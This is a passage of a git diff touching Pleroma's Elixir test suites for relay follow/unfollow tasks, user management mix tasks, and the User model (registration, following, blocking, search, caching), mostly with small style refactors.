	+ alias Pleroma.Web.ActivityPub.Relay
	alias Pleroma.User
	use Pleroma.DataCase

	setup_all do
	Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)

	Mix.shell(Mix.Shell.Process)

	on_exit(fn ->
	Mix.shell(Mix.Shell.IO)
	end)

	:ok
	end

	describe "running follow" do
	test "relay is followed" do
	target_instance = "http://mastodon.example.org/users/admin"

	Mix.Tasks.Pleroma.Relay.run(["follow", target_instance])

	local_user = Relay.get_actor()
	assert local_user.ap_id =~ "/relay"

	target_user = User.get_by_ap_id(target_instance)
	refute target_user.local

	activity = Utils.fetch_latest_follow(local_user, target_user)
	assert activity.data["type"] == "Follow"
	assert activity.data["actor"] == local_user.ap_id
	assert activity.data["object"] == target_user.ap_id
	end
	end

	describe "running unfollow" do
	test "relay is unfollowed" do
	target_instance = "http://mastodon.example.org/users/admin"

	Mix.Tasks.Pleroma.Relay.run(["follow", target_instance])

	%User{ap_id: follower_id} = local_user = Relay.get_actor()
	target_user = User.get_by_ap_id(target_instance)
	follow_activity = Utils.fetch_latest_follow(local_user, target_user)

	Mix.Tasks.Pleroma.Relay.run(["unfollow", target_instance])

	cancelled_activity = Activity.get_by_ap_id(follow_activity.data["id"])
	assert cancelled_activity.data["state"] == "cancelled"

	[undo_activity] =
	ActivityPub.fetch_activities([], %{
	"type" => "Undo",
	"actor_id" => follower_id,
	"limit" => 1
	})

	assert undo_activity.data["type"] == "Undo"
	assert undo_activity.data["actor"] == local_user.ap_id
	assert undo_activity.data["object"] == cancelled_activity.data
	end
	end
	end
	diff --git a/test/tasks/user_test.exs b/test/tasks/user_test.exs
	index 44271898c..7b814d171 100644
	--- a/test/tasks/user_test.exs
	+++ b/test/tasks/user_test.exs
	@@ -1,251 +1,251 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Mix.Tasks.Pleroma.UserTest do
	alias Pleroma.User
	use Pleroma.DataCase

	import Pleroma.Factory
	import ExUnit.CaptureIO

	setup_all do
	Mix.shell(Mix.Shell.Process)

	on_exit(fn ->
	Mix.shell(Mix.Shell.IO)
	end)

	:ok
	end

	describe "running new" do
	test "user is created" do
	# just get random data
	unsaved = build(:user)

	# prepare to answer yes
	send(self(), {:mix_shell_input, :yes?, true})

	Mix.Tasks.Pleroma.User.run([
	"new",
	unsaved.nickname,
	unsaved.email,
	"--name",
	unsaved.name,
	"--bio",
	unsaved.bio,
	"--password",
	"test",
	"--moderator",
	"--admin"
	])

	assert_received {:mix_shell, :info, [message]}
	assert message =~ "user will be created"

	assert_received {:mix_shell, :yes?, [message]}
	assert message =~ "Continue"

	assert_received {:mix_shell, :info, [message]}
	assert message =~ "created"

	user = User.get_by_nickname(unsaved.nickname)
	assert user.name == unsaved.name
	assert user.email == unsaved.email
	assert user.bio == unsaved.bio
	assert user.info.is_moderator
	assert user.info.is_admin
	end

	test "user is not created" do
	unsaved = build(:user)

	# prepare to answer no
	send(self(), {:mix_shell_input, :yes?, false})

	Mix.Tasks.Pleroma.User.run(["new", unsaved.nickname, unsaved.email])

	assert_received {:mix_shell, :info, [message]}
	assert message =~ "user will be created"

	assert_received {:mix_shell, :yes?, [message]}
	assert message =~ "Continue"

	assert_received {:mix_shell, :info, [message]}
	assert message =~ "will not be created"

	refute User.get_by_nickname(unsaved.nickname)
	end
	end

	describe "running rm" do
	test "user is deleted" do
	user = insert(:user)

	Mix.Tasks.Pleroma.User.run(["rm", user.nickname])

	assert_received {:mix_shell, :info, [message]}
	assert message =~ " deleted"

	user = User.get_by_nickname(user.nickname)
	assert user.info.deactivated
	end

	test "no user to delete" do
	Mix.Tasks.Pleroma.User.run(["rm", "nonexistent"])

	assert_received {:mix_shell, :error, [message]}
	assert message =~ "No local user"
	end
	end

	describe "running toggle_activated" do
	test "user is deactivated" do
	user = insert(:user)

	Mix.Tasks.Pleroma.User.run(["toggle_activated", user.nickname])

	assert_received {:mix_shell, :info, [message]}
	assert message =~ " deactivated"

	user = User.get_by_nickname(user.nickname)
	assert user.info.deactivated
	end

	test "user is activated" do
	user = insert(:user, info: %{deactivated: true})

	Mix.Tasks.Pleroma.User.run(["toggle_activated", user.nickname])

	assert_received {:mix_shell, :info, [message]}
	assert message =~ " activated"

	user = User.get_by_nickname(user.nickname)
	refute user.info.deactivated
	end

	test "no user to toggle" do
	Mix.Tasks.Pleroma.User.run(["toggle_activated", "nonexistent"])

	assert_received {:mix_shell, :error, [message]}
	assert message =~ "No user"
	end
	end

	describe "running unsubscribe" do
	test "user is unsubscribed" do
	followed = insert(:user)
	user = insert(:user, %{following: [User.ap_followers(followed)]})

	Mix.Tasks.Pleroma.User.run(["unsubscribe", user.nickname])

	assert_received {:mix_shell, :info, [message]}
	assert message =~ "Deactivating"

	assert_received {:mix_shell, :info, [message]}
	assert message =~ "Unsubscribing"

	# Note that the task has delay :timer.sleep(500)
	assert_received {:mix_shell, :info, [message]}
	assert message =~ "Successfully unsubscribed"

	user = User.get_by_nickname(user.nickname)
	- assert length(user.following) == 0
	+ assert Enum.empty?(user.following)
	assert user.info.deactivated
	end

	test "no user to unsubscribe" do
	Mix.Tasks.Pleroma.User.run(["unsubscribe", "nonexistent"])

	assert_received {:mix_shell, :error, [message]}
	assert message =~ "No user"
	end
	end

	describe "running set" do
	test "All statuses set" do
	user = insert(:user)

	Mix.Tasks.Pleroma.User.run(["set", user.nickname, "--moderator", "--admin", "--locked"])

	assert_received {:mix_shell, :info, [message]}
	assert message =~ ~r/Moderator status .* true/

	assert_received {:mix_shell, :info, [message]}
	assert message =~ ~r/Locked status .* true/

	assert_received {:mix_shell, :info, [message]}
	assert message =~ ~r/Admin status .* true/

	user = User.get_by_nickname(user.nickname)
	assert user.info.is_moderator
	assert user.info.locked
	assert user.info.is_admin
	end

	test "All statuses unset" do
	user = insert(:user, info: %{is_moderator: true, locked: true, is_admin: true})

	Mix.Tasks.Pleroma.User.run([
	"set",
	user.nickname,
	"--no-moderator",
	"--no-admin",
	"--no-locked"
	])

	assert_received {:mix_shell, :info, [message]}
	assert message =~ ~r/Moderator status .* false/

	assert_received {:mix_shell, :info, [message]}
	assert message =~ ~r/Locked status .* false/

	assert_received {:mix_shell, :info, [message]}
	assert message =~ ~r/Admin status .* false/

	user = User.get_by_nickname(user.nickname)
	refute user.info.is_moderator
	refute user.info.locked
	refute user.info.is_admin
	end

	test "no user to set status" do
	Mix.Tasks.Pleroma.User.run(["set", "nonexistent", "--moderator"])

	assert_received {:mix_shell, :error, [message]}
	assert message =~ "No local user"
	end
	end

	describe "running reset_password" do
	test "password reset token is generated" do
	user = insert(:user)

	assert capture_io(fn ->
	Mix.Tasks.Pleroma.User.run(["reset_password", user.nickname])
	end) =~ "URL:"

	assert_received {:mix_shell, :info, [message]}
	assert message =~ "Generated"
	end

	test "no user to reset password" do
	Mix.Tasks.Pleroma.User.run(["reset_password", "nonexistent"])

	assert_received {:mix_shell, :error, [message]}
	assert message =~ "No local user"
	end
	end

	describe "running invite" do
	test "invite token is generated" do
	assert capture_io(fn ->
	Mix.Tasks.Pleroma.User.run(["invite"])
	end) =~ "http"

	assert_received {:mix_shell, :info, [message]}
	assert message =~ "Generated"
	end
	end
	end
	diff --git a/test/user_test.exs b/test/user_test.exs
	index a282274ce..58587bd82 100644
	--- a/test/user_test.exs
	+++ b/test/user_test.exs
	@@ -1,1001 +1,1003 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.UserTest do
	alias Pleroma.Builders.UserBuilder
	- alias Pleroma.{User, Repo, Activity}
	+ alias Pleroma.Activity
	+ alias Pleroma.Repo
	+ alias Pleroma.User
	alias Pleroma.Web.CommonAPI
	use Pleroma.DataCase

	import Pleroma.Factory

	setup_all do
	Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
	:ok
	end

	describe "when tags are nil" do
	test "tagging a user" do
	user = insert(:user, %{tags: nil})
	user = User.tag(user, ["cool", "dude"])

	assert "cool" in user.tags
	assert "dude" in user.tags
	end

	test "untagging a user" do
	user = insert(:user, %{tags: nil})
	user = User.untag(user, ["cool", "dude"])

	assert user.tags == []
	end
	end

	test "ap_id returns the activity pub id for the user" do
	user = UserBuilder.build()

	expected_ap_id = "#{Pleroma.Web.base_url()}/users/#{user.nickname}"

	assert expected_ap_id == User.ap_id(user)
	end

	test "ap_followers returns the followers collection for the user" do
	user = UserBuilder.build()

	expected_followers_collection = "#{User.ap_id(user)}/followers"

	assert expected_followers_collection == User.ap_followers(user)
	end

	test "follow_all follows mutliple users" do
	user = insert(:user)
	followed_zero = insert(:user)
	followed_one = insert(:user)
	followed_two = insert(:user)
	blocked = insert(:user)
	not_followed = insert(:user)
	reverse_blocked = insert(:user)

	{:ok, user} = User.block(user, blocked)
	{:ok, reverse_blocked} = User.block(reverse_blocked, user)

	{:ok, user} = User.follow(user, followed_zero)

	{:ok, user} = User.follow_all(user, [followed_one, followed_two, blocked, reverse_blocked])

	assert User.following?(user, followed_one)
	assert User.following?(user, followed_two)
	assert User.following?(user, followed_zero)
	refute User.following?(user, not_followed)
	refute User.following?(user, blocked)
	refute User.following?(user, reverse_blocked)
	end

	test "follow_all follows mutliple users without duplicating" do
	user = insert(:user)
	followed_zero = insert(:user)
	followed_one = insert(:user)
	followed_two = insert(:user)

	{:ok, user} = User.follow_all(user, [followed_zero, followed_one])
	assert length(user.following) == 3

	{:ok, user} = User.follow_all(user, [followed_one, followed_two])
	assert length(user.following) == 4
	end

	test "follow takes a user and another user" do
	user = insert(:user)
	followed = insert(:user)

	{:ok, user} = User.follow(user, followed)

	user = Repo.get(User, user.id)

	followed = User.get_by_ap_id(followed.ap_id)
	assert followed.info.follower_count == 1

	assert User.ap_followers(followed) in user.following
	end

	test "can't follow a deactivated users" do
	user = insert(:user)
	followed = insert(:user, info: %{deactivated: true})

	{:error, _} = User.follow(user, followed)
	end

	test "can't follow a user who blocked us" do
	blocker = insert(:user)
	blockee = insert(:user)

	{:ok, blocker} = User.block(blocker, blockee)

	{:error, _} = User.follow(blockee, blocker)
	end

	test "local users do not automatically follow local locked accounts" do
	follower = insert(:user, info: %{locked: true})
	followed = insert(:user, info: %{locked: true})

	{:ok, follower} = User.maybe_direct_follow(follower, followed)

	refute User.following?(follower, followed)
	end

	# This is a somewhat useless test.
	# test "following a remote user will ensure a websub subscription is present" do
	# user = insert(:user)
	# {:ok, followed} = OStatus.make_user("shp@social.heldscal.la")

	# assert followed.local == false

	# {:ok, user} = User.follow(user, followed)
	# assert User.ap_followers(followed) in user.following

	# query = from w in WebsubClientSubscription,
	# where: w.topic == ^followed.info["topic"]
	# websub = Repo.one(query)

	# assert websub
	# end

	test "unfollow takes a user and another user" do
	followed = insert(:user)
	user = insert(:user, %{following: [User.ap_followers(followed)]})

	{:ok, user, _activity} = User.unfollow(user, followed)

	user = Repo.get(User, user.id)

	assert user.following == []
	end

	test "unfollow doesn't unfollow yourself" do
	user = insert(:user)

	{:error, _} = User.unfollow(user, user)

	user = Repo.get(User, user.id)
	assert user.following == [user.ap_id]
	end

	test "test if a user is following another user" do
	followed = insert(:user)
	user = insert(:user, %{following: [User.ap_followers(followed)]})

	assert User.following?(user, followed)
	refute User.following?(followed, user)
	end

	describe "user registration" do
	@full_user_data %{
	bio: "A guy",
	name: "my name",
	nickname: "nick",
	password: "test",
	password_confirmation: "test",
	email: "email@example.com"
	}

	test "it autofollows accounts that are set for it" do
	user = insert(:user)
	remote_user = insert(:user, %{local: false})

	Pleroma.Config.put([:instance, :autofollowed_nicknames], [
	user.nickname,
	remote_user.nickname
	])

	cng = User.register_changeset(%User{}, @full_user_data)

	{:ok, registered_user} = User.register(cng)

	assert User.following?(registered_user, user)
	refute User.following?(registered_user, remote_user)
	end

	test "it requires an email, name, nickname and password, bio is optional" do
	@full_user_data
	\|> Map.keys()
	\|> Enum.each(fn key ->
	params = Map.delete(@full_user_data, key)
	changeset = User.register_changeset(%User{}, params)

	assert if key == :bio, do: changeset.valid?, else: not changeset.valid?
	end)
	end

	test "it restricts certain nicknames" do
	[restricted_name \| _] = Pleroma.Config.get([Pleroma.User, :restricted_nicknames])

	assert is_bitstring(restricted_name)

	params =
	@full_user_data
	\|> Map.put(:nickname, restricted_name)

	changeset = User.register_changeset(%User{}, params)

	refute changeset.valid?
	end

	test "it sets the password_hash, ap_id and following fields" do
	changeset = User.register_changeset(%User{}, @full_user_data)

	assert changeset.valid?

	assert is_binary(changeset.changes[:password_hash])
	assert changeset.changes[:ap_id] == User.ap_id(%User{nickname: @full_user_data.nickname})

	assert changeset.changes[:following] == [
	User.ap_followers(%User{nickname: @full_user_data.nickname})
	]

	assert changeset.changes.follower_address == "#{changeset.changes.ap_id}/followers"
	end

	test "it ensures info is not nil" do
	changeset = User.register_changeset(%User{}, @full_user_data)

	assert changeset.valid?

	{:ok, user} =
	changeset
	\|> Repo.insert()

	refute is_nil(user.info)
	end
	end

	describe "user registration, with :account_activation_required" do
	@full_user_data %{
	bio: "A guy",
	name: "my name",
	nickname: "nick",
	password: "test",
	password_confirmation: "test",
	email: "email@example.com"
	}

	setup do
	setting = Pleroma.Config.get([:instance, :account_activation_required])

	unless setting do
	Pleroma.Config.put([:instance, :account_activation_required], true)
	on_exit(fn -> Pleroma.Config.put([:instance, :account_activation_required], setting) end)
	end

	:ok
	end

	test "it creates unconfirmed user" do
	changeset = User.register_changeset(%User{}, @full_user_data)
	assert changeset.valid?

	{:ok, user} = Repo.insert(changeset)

	assert user.info.confirmation_pending
	assert user.info.confirmation_token
	end

	test "it creates confirmed user if :confirmed option is given" do
	changeset = User.register_changeset(%User{}, @full_user_data, confirmed: true)
	assert changeset.valid?

	{:ok, user} = Repo.insert(changeset)

	refute user.info.confirmation_pending
	refute user.info.confirmation_token
	end
	end

	describe "get_or_fetch/1" do
	test "gets an existing user by nickname" do
	user = insert(:user)
	fetched_user = User.get_or_fetch(user.nickname)

	assert user == fetched_user
	end

	test "gets an existing user by ap_id" do
	ap_id = "http://mastodon.example.org/users/admin"

	user =
	insert(
	:user,
	local: false,
	nickname: "admin@mastodon.example.org",
	ap_id: ap_id,
	info: %{}
	)

	fetched_user = User.get_or_fetch(ap_id)
	freshed_user = refresh_record(user)
	assert freshed_user == fetched_user
	end
	end

	describe "fetching a user from nickname or trying to build one" do
	test "gets an existing user" do
	user = insert(:user)
	fetched_user = User.get_or_fetch_by_nickname(user.nickname)

	assert user == fetched_user
	end

	test "gets an existing user, case insensitive" do
	user = insert(:user, nickname: "nick")
	fetched_user = User.get_or_fetch_by_nickname("NICK")

	assert user == fetched_user
	end

	test "gets an existing user by fully qualified nickname" do
	user = insert(:user)

	fetched_user =
	User.get_or_fetch_by_nickname(user.nickname <> "@" <> Pleroma.Web.Endpoint.host())

	assert user == fetched_user
	end

	test "gets an existing user by fully qualified nickname, case insensitive" do
	user = insert(:user, nickname: "nick")
	casing_altered_fqn = String.upcase(user.nickname <> "@" <> Pleroma.Web.Endpoint.host())

	fetched_user = User.get_or_fetch_by_nickname(casing_altered_fqn)

	assert user == fetched_user
	end

	test "fetches an external user via ostatus if no user exists" do
	fetched_user = User.get_or_fetch_by_nickname("shp@social.heldscal.la")
	assert fetched_user.nickname == "shp@social.heldscal.la"
	end

	test "returns nil if no user could be fetched" do
	fetched_user = User.get_or_fetch_by_nickname("nonexistant@social.heldscal.la")
	assert fetched_user == nil
	end

	test "returns nil for nonexistant local user" do
	fetched_user = User.get_or_fetch_by_nickname("nonexistant")
	assert fetched_user == nil
	end

	test "updates an existing user, if stale" do
	a_week_ago = NaiveDateTime.add(NaiveDateTime.utc_now(), -604_800)

	orig_user =
	insert(
	:user,
	local: false,
	nickname: "admin@mastodon.example.org",
	ap_id: "http://mastodon.example.org/users/admin",
	last_refreshed_at: a_week_ago,
	info: %{}
	)

	assert orig_user.last_refreshed_at == a_week_ago

	user = User.get_or_fetch_by_ap_id("http://mastodon.example.org/users/admin")
	assert user.info.source_data["endpoints"]

	refute user.last_refreshed_at == orig_user.last_refreshed_at
	end
	end

	test "returns an ap_id for a user" do
	user = insert(:user)

	assert User.ap_id(user) ==
	Pleroma.Web.Router.Helpers.o_status_url(
	Pleroma.Web.Endpoint,
	:feed_redirect,
	user.nickname
	)
	end

	test "returns an ap_followers link for a user" do
	user = insert(:user)

	assert User.ap_followers(user) ==
	Pleroma.Web.Router.Helpers.o_status_url(
	Pleroma.Web.Endpoint,
	:feed_redirect,
	user.nickname
	) <> "/followers"
	end

	describe "remote user creation changeset" do
	@valid_remote %{
	bio: "hello",
	name: "Someone",
	nickname: "a@b.de",
	ap_id: "http...",
	info: %{some: "info"},
	avatar: %{some: "avatar"}
	}

	test "it confirms validity" do
	cs = User.remote_user_creation(@valid_remote)
	assert cs.valid?
	end

	test "it sets the follower_adress" do
	cs = User.remote_user_creation(@valid_remote)
	# remote users get a fake local follower address
	assert cs.changes.follower_address ==
	User.ap_followers(%User{nickname: @valid_remote[:nickname]})
	end

	test "it enforces the fqn format for nicknames" do
	cs = User.remote_user_creation(%{@valid_remote \| nickname: "bla"})
	assert cs.changes.local == false
	assert cs.changes.avatar
	refute cs.valid?
	end

	test "it has required fields" do
	[:name, :ap_id]
	\|> Enum.each(fn field ->
	cs = User.remote_user_creation(Map.delete(@valid_remote, field))
	refute cs.valid?
	end)
	end

	test "it restricts some sizes" do
	[bio: 5000, name: 100]
	\|> Enum.each(fn {field, size} ->
	string = String.pad_leading(".", size)
	cs = User.remote_user_creation(Map.put(@valid_remote, field, string))
	assert cs.valid?

	string = String.pad_leading(".", size + 1)
	cs = User.remote_user_creation(Map.put(@valid_remote, field, string))
	refute cs.valid?
	end)
	end
	end

	describe "followers and friends" do
	test "gets all followers for a given user" do
	user = insert(:user)
	follower_one = insert(:user)
	follower_two = insert(:user)
	not_follower = insert(:user)

	{:ok, follower_one} = User.follow(follower_one, user)
	{:ok, follower_two} = User.follow(follower_two, user)

	{:ok, res} = User.get_followers(user)

	assert Enum.member?(res, follower_one)
	assert Enum.member?(res, follower_two)
	refute Enum.member?(res, not_follower)
	end

	test "gets all friends (followed users) for a given user" do
	user = insert(:user)
	followed_one = insert(:user)
	followed_two = insert(:user)
	not_followed = insert(:user)

	{:ok, user} = User.follow(user, followed_one)
	{:ok, user} = User.follow(user, followed_two)

	{:ok, res} = User.get_friends(user)

	followed_one = User.get_by_ap_id(followed_one.ap_id)
	followed_two = User.get_by_ap_id(followed_two.ap_id)
	assert Enum.member?(res, followed_one)
	assert Enum.member?(res, followed_two)
	refute Enum.member?(res, not_followed)
	end
	end

	describe "updating note and follower count" do
	test "it sets the info->note_count property" do
	note = insert(:note)

	user = User.get_by_ap_id(note.data["actor"])

	assert user.info.note_count == 0

	{:ok, user} = User.update_note_count(user)

	assert user.info.note_count == 1
	end

	test "it increases the info->note_count property" do
	note = insert(:note)
	user = User.get_by_ap_id(note.data["actor"])

	assert user.info.note_count == 0

	{:ok, user} = User.increase_note_count(user)

	assert user.info.note_count == 1

	{:ok, user} = User.increase_note_count(user)

	assert user.info.note_count == 2
	end

	test "it decreases the info->note_count property" do
	note = insert(:note)
	user = User.get_by_ap_id(note.data["actor"])

	assert user.info.note_count == 0

	{:ok, user} = User.increase_note_count(user)

	assert user.info.note_count == 1

	{:ok, user} = User.decrease_note_count(user)

	assert user.info.note_count == 0

	{:ok, user} = User.decrease_note_count(user)

	assert user.info.note_count == 0
	end

	test "it sets the info->follower_count property" do
	user = insert(:user)
	follower = insert(:user)

	User.follow(follower, user)

	assert user.info.follower_count == 0

	{:ok, user} = User.update_follower_count(user)

	assert user.info.follower_count == 1
	end
	end

	describe "follow_import" do
	test "it imports user followings from list" do
	[user1, user2, user3] = insert_list(3, :user)

	identifiers = [
	user2.ap_id,
	user3.nickname
	]

	result = User.follow_import(user1, identifiers)
	assert is_list(result)
	assert result == [user2, user3]
	end
	end

	describe "blocks" do
	test "it blocks people" do
	user = insert(:user)
	blocked_user = insert(:user)

	refute User.blocks?(user, blocked_user)

	{:ok, user} = User.block(user, blocked_user)

	assert User.blocks?(user, blocked_user)
	end

	test "it unblocks users" do
	user = insert(:user)
	blocked_user = insert(:user)

	{:ok, user} = User.block(user, blocked_user)
	{:ok, user} = User.unblock(user, blocked_user)

	refute User.blocks?(user, blocked_user)
	end

	test "blocks tear down cyclical follow relationships" do
	blocker = insert(:user)
	blocked = insert(:user)

	{:ok, blocker} = User.follow(blocker, blocked)
	{:ok, blocked} = User.follow(blocked, blocker)

	assert User.following?(blocker, blocked)
	assert User.following?(blocked, blocker)

	{:ok, blocker} = User.block(blocker, blocked)
	blocked = Repo.get(User, blocked.id)

	assert User.blocks?(blocker, blocked)

	refute User.following?(blocker, blocked)
	refute User.following?(blocked, blocker)
	end

	test "blocks tear down blocker->blocked follow relationships" do
	blocker = insert(:user)
	blocked = insert(:user)

	{:ok, blocker} = User.follow(blocker, blocked)

	assert User.following?(blocker, blocked)
	refute User.following?(blocked, blocker)

	{:ok, blocker} = User.block(blocker, blocked)
	blocked = Repo.get(User, blocked.id)

	assert User.blocks?(blocker, blocked)

	refute User.following?(blocker, blocked)
	refute User.following?(blocked, blocker)
	end

	test "blocks tear down blocked->blocker follow relationships" do
	blocker = insert(:user)
	blocked = insert(:user)

	{:ok, blocked} = User.follow(blocked, blocker)

	refute User.following?(blocker, blocked)
	assert User.following?(blocked, blocker)

	{:ok, blocker} = User.block(blocker, blocked)
	blocked = Repo.get(User, blocked.id)

	assert User.blocks?(blocker, blocked)

	refute User.following?(blocker, blocked)
	refute User.following?(blocked, blocker)
	end
	end

	describe "domain blocking" do
	test "blocks domains" do
	user = insert(:user)
	collateral_user = insert(:user, %{ap_id: "https://awful-and-rude-instance.com/user/bully"})

	{:ok, user} = User.block_domain(user, "awful-and-rude-instance.com")

	assert User.blocks?(user, collateral_user)
	end

	test "unblocks domains" do
	user = insert(:user)
	collateral_user = insert(:user, %{ap_id: "https://awful-and-rude-instance.com/user/bully"})

	{:ok, user} = User.block_domain(user, "awful-and-rude-instance.com")
	{:ok, user} = User.unblock_domain(user, "awful-and-rude-instance.com")

	refute User.blocks?(user, collateral_user)
	end
	end

	describe "blocks_import" do
	test "it imports user blocks from list" do
	[user1, user2, user3] = insert_list(3, :user)

	identifiers = [
	user2.ap_id,
	user3.nickname
	]

	result = User.blocks_import(user1, identifiers)
	assert is_list(result)
	assert result == [user2, user3]
	end
	end

	test "get recipients from activity" do
	actor = insert(:user)
	user = insert(:user, local: true)
	user_two = insert(:user, local: false)
	addressed = insert(:user, local: true)
	addressed_remote = insert(:user, local: false)

	{:ok, activity} =
	CommonAPI.post(actor, %{
	"status" => "hey @#{addressed.nickname} @#{addressed_remote.nickname}"
	})

	assert Enum.map([actor, addressed], & &1.ap_id) --
	Enum.map(User.get_recipients_from_activity(activity), & &1.ap_id) == []

	{:ok, user} = User.follow(user, actor)
	{:ok, _user_two} = User.follow(user_two, actor)
	recipients = User.get_recipients_from_activity(activity)
	assert length(recipients) == 3
	assert user in recipients
	assert addressed in recipients
	end

	test ".deactivate can de-activate then re-activate a user" do
	user = insert(:user)
	assert false == user.info.deactivated
	{:ok, user} = User.deactivate(user)
	assert true == user.info.deactivated
	{:ok, user} = User.deactivate(user, false)
	assert false == user.info.deactivated
	end

	test ".delete deactivates a user, all follow relationships and all create activities" do
	user = insert(:user)
	followed = insert(:user)
	follower = insert(:user)

	{:ok, user} = User.follow(user, followed)
	{:ok, follower} = User.follow(follower, user)

	{:ok, activity} = CommonAPI.post(user, %{"status" => "2hu"})
	{:ok, activity_two} = CommonAPI.post(follower, %{"status" => "3hu"})

	{:ok, _, _} = CommonAPI.favorite(activity_two.id, user)
	{:ok, _, _} = CommonAPI.favorite(activity.id, follower)
	{:ok, _, _} = CommonAPI.repeat(activity.id, follower)

	{:ok, _} = User.delete(user)

	followed = Repo.get(User, followed.id)
	follower = Repo.get(User, follower.id)
	user = Repo.get(User, user.id)

	assert user.info.deactivated

	refute User.following?(user, followed)
	refute User.following?(followed, follower)

	# TODO: Remove favorites, repeats, delete activities.

	refute Repo.get(Activity, activity.id)
	end

	test "get_public_key_for_ap_id fetches a user that's not in the db" do
	assert {:ok, _key} = User.get_public_key_for_ap_id("http://mastodon.example.org/users/admin")
	end

	test "insert or update a user from given data" do
	user = insert(:user, %{nickname: "nick@name.de"})
	data = %{ap_id: user.ap_id <> "xxx", name: user.name, nickname: user.nickname}

	assert {:ok, %User{}} = User.insert_or_update_user(data)
	end

	describe "per-user rich-text filtering" do
	test "html_filter_policy returns default policies, when rich-text is enabled" do
	user = insert(:user)

	assert Pleroma.Config.get([:markup, :scrub_policy]) == User.html_filter_policy(user)
	end

	test "html_filter_policy returns TwitterText scrubber when rich-text is disabled" do
	user = insert(:user, %{info: %{no_rich_text: true}})

	assert Pleroma.HTML.Scrubber.TwitterText == User.html_filter_policy(user)
	end
	end

	describe "caching" do
	test "invalidate_cache works" do
	user = insert(:user)
	_user_info = User.get_cached_user_info(user)

	User.invalidate_cache(user)

	{:ok, nil} = Cachex.get(:user_cache, "ap_id:#{user.ap_id}")
	{:ok, nil} = Cachex.get(:user_cache, "nickname:#{user.nickname}")
	{:ok, nil} = Cachex.get(:user_cache, "user_info:#{user.id}")
	end

	test "User.delete() plugs any possible zombie objects" do
	user = insert(:user)

	{:ok, _} = User.delete(user)

	{:ok, cached_user} = Cachex.get(:user_cache, "ap_id:#{user.ap_id}")

	assert cached_user != user

	{:ok, cached_user} = Cachex.get(:user_cache, "nickname:#{user.ap_id}")

	assert cached_user != user
	end
	end

	describe "User.search" do
	test "finds a user by full or partial nickname" do
	user = insert(:user, %{nickname: "john"})

	Enum.each(["john", "jo", "j"], fn query ->
	assert user == User.search(query) \|> List.first() \|> Map.put(:search_rank, nil)
	end)
	end

	test "finds a user by full or partial name" do
	user = insert(:user, %{name: "John Doe"})

	Enum.each(["John Doe", "JOHN", "doe", "j d", "j", "d"], fn query ->
	assert user == User.search(query) \|> List.first() \|> Map.put(:search_rank, nil)
	end)
	end

	test "finds users, preferring nickname matches over name matches" do
	u1 = insert(:user, %{name: "lain", nickname: "nick1"})
	u2 = insert(:user, %{nickname: "lain", name: "nick1"})

	assert [u2.id, u1.id] == Enum.map(User.search("lain"), & &1.id)
	end

	test "finds users, considering density of matched tokens" do
	u1 = insert(:user, %{name: "Bar Bar plus Word Word"})
	u2 = insert(:user, %{name: "Word Word Bar Bar Bar"})

	assert [u2.id, u1.id] == Enum.map(User.search("bar word"), & &1.id)
	end

	test "finds users, ranking by similarity" do
	u1 = insert(:user, %{name: "lain"})
	_u2 = insert(:user, %{name: "ean"})
	u3 = insert(:user, %{name: "ebn", nickname: "lain@mastodon.social"})
	u4 = insert(:user, %{nickname: "lain@pleroma.soykaf.com"})

	assert [u4.id, u3.id, u1.id] == Enum.map(User.search("lain@ple"), & &1.id)
	end

	test "finds users, handling misspelled requests" do
	u1 = insert(:user, %{name: "lain"})

	assert [u1.id] == Enum.map(User.search("laiin"), & &1.id)
	end

	test "finds users, boosting ranks of friends and followers" do
	u1 = insert(:user)
	u2 = insert(:user, %{name: "Doe"})
	follower = insert(:user, %{name: "Doe"})
	friend = insert(:user, %{name: "Doe"})

	{:ok, follower} = User.follow(follower, u1)
	{:ok, u1} = User.follow(u1, friend)

	assert [friend.id, follower.id, u2.id] == Enum.map(User.search("doe", false, u1), & &1.id)
	end

	test "finds a user whose name is nil" do
	_user = insert(:user, %{name: "notamatch", nickname: "testuser@pleroma.amplifie.red"})
	user_two = insert(:user, %{name: nil, nickname: "lain@pleroma.soykaf.com"})

	assert user_two ==
	User.search("lain@pleroma.soykaf.com")
	\|> List.first()
	\|> Map.put(:search_rank, nil)
	end

	test "does not yield false-positive matches" do
	insert(:user, %{name: "John Doe"})

	Enum.each(["mary", "a", ""], fn query ->
	assert [] == User.search(query)
	end)
	end
	end

	test "auth_active?/1 works correctly" do
	Pleroma.Config.put([:instance, :account_activation_required], true)

	local_user = insert(:user, local: true, info: %{confirmation_pending: true})
	confirmed_user = insert(:user, local: true, info: %{confirmation_pending: false})
	remote_user = insert(:user, local: false)

	refute User.auth_active?(local_user)
	assert User.auth_active?(confirmed_user)
	assert User.auth_active?(remote_user)

	Pleroma.Config.put([:instance, :account_activation_required], false)
	end

	describe "superuser?/1" do
	test "returns false for unprivileged users" do
	user = insert(:user, local: true)

	refute User.superuser?(user)
	end

	test "returns false for remote users" do
	user = insert(:user, local: false)
	remote_admin_user = insert(:user, local: false, info: %{is_admin: true})

	refute User.superuser?(user)
	refute User.superuser?(remote_admin_user)
	end

	test "returns true for local moderators" do
	user = insert(:user, local: true, info: %{is_moderator: true})

	assert User.superuser?(user)
	end

	test "returns true for local admins" do
	user = insert(:user, local: true, info: %{is_admin: true})

	assert User.superuser?(user)
	end
	end

	describe "visible_for?/2" do
	test "returns true when the account is itself" do
	user = insert(:user, local: true)

	assert User.visible_for?(user, user)
	end

	test "returns false when the account is unauthenticated and auth is required" do
	Pleroma.Config.put([:instance, :account_activation_required], true)

	user = insert(:user, local: true, info: %{confirmation_pending: true})
	other_user = insert(:user, local: true)

	refute User.visible_for?(user, other_user)

	Pleroma.Config.put([:instance, :account_activation_required], false)
	end

	test "returns true when the account is unauthenticated and auth is not required" do
	user = insert(:user, local: true, info: %{confirmation_pending: true})
	other_user = insert(:user, local: true)

	assert User.visible_for?(user, other_user)
	end

	test "returns true when the account is unauthenticated and being viewed by a privileged account (auth required)" do
	Pleroma.Config.put([:instance, :account_activation_required], true)

	user = insert(:user, local: true, info: %{confirmation_pending: true})
